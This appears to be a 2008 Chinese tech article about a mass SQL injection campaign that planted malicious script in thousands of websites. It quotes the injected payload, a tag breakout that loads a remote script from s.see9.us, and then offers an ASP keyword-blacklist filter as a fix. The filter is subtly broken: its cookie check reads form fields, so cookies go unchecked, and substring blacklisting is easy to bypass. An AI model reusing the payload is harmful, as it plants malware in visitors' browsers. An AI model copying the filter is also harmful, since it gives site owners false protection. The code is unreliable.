据IDG新闻<nobr><strong class="kgb" οnmοuseοver='isShowAds = true;isShowAds2 = true;KeyGate_ads.Move(this,"","%u4E00%u6B3E%u5F00%u6E90%u7684%u6027%u80FD%u6D4B%u8BD5%u5DE5%u5177","-100849","服务","%u5C06%20Ajax%20%u7528%u4E8E%u591A%u5A92%u4F53","http%3A//ibm.csdn.net/ISN_J.aspx%3Faction%3DJMP%26pointid%3D2473", event)' style="BORDER-TOP-WIDTH: 0px; FONT-WEIGHT: normal; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; CURSOR: hand; COLOR: #0000ff; BORDER-RIGHT-WIDTH: 0px; TEXT-DECORATION: underline" οnclick='javascript:window.open("http://s4.17luntan.com/ClickPortal/WebClick.aspx?id=-100849&k=%u670D%u52A1&siteid=0098295a-e262-40f7-ae50-7a6fbbdb678b&url=http%3A//news.csdn.net/n/20080520/116114.html&gourl=http%3A//ibm.csdn.net/ISN_J.aspx%3Faction%3DJMP%26pointid%3D2473&parm=2B1BAADE34BC1B95993FB90432181245BDB9C2B297303504&alliedsiteid=0");' οnmοuseοut="isShowAds = false;isShowAds2 = false">服务</strong></nobr>5月19日报道,中国大陆和中国台湾地区数以千计的网站正在遭受大规模的SQL注入攻击。由于采用了非常强的SQL注入攻击手段,因此将会给很多目标网站带来不可逆转的破坏,数以千计的网站被卷入到了这次攻击中,截止上周五已经有超过1万个服务器被植入了恶意代码,而其中的大部分都位于中国大陆,还有一少部分位于中国台湾地区。搜房网和深圳汽车大世界网都沦为了上周五的攻击目标。
受到攻击的服务器数据库表中所有字符字段都被加入“"></"></title><script src=http://s.see9.us/s.js></script><!--“通过查询和参考相关材料,用asp语言整理出以下代码可以解决(其他语言可以按其原理重新编写)上述问题,这段代码有三个特点:
1.用lcase防范大写的sql注入代码
2,分别防范来自Request.QueryString,Request.Form,Request.cookies三个方面的危险
3。直接将代码拷进数据库链接文件,例如asp语言的可以添加到conn文件中。
防范代码如下:(希望更多高手提出意见)
SQL_injdata = "'|exec|insert|select|delete|update|count|iframe|script|chr|mid|master|truncate|char|declare|*|%|and"
SQL_inj = split(SQL_Injdata,"|")
'QueryString请求的注入的拦截
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(lcase(Request.QueryString(SQL_Get)),Sql_Inj(Sql_DATA))>0 Then
Response.write "您提交的内容含有非法字符"
Response.end
end if
next
Next
End If
'Get请求的注入的拦截
If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(lcase(Request.Form(Sql_Post)),Sql_Inj(Sql_DATA))>0 Then
Response.write "您提交的内容含有非法字符"
Response.end
end if
next
next
end if
'cookies请求的注入的拦截
If Request.cookies<>"" Then
For Each Sql_Post1 In Request.cookies
For SQL_Data=0 To Ubound(SQL_inj)
if instr(lcase(Request.Form(Sql_Post1)),Sql_Inj(Sql_DATA))>0 Then
Response.write "您提交的内容含有非法字符"
Response.end
end if
next
next
end if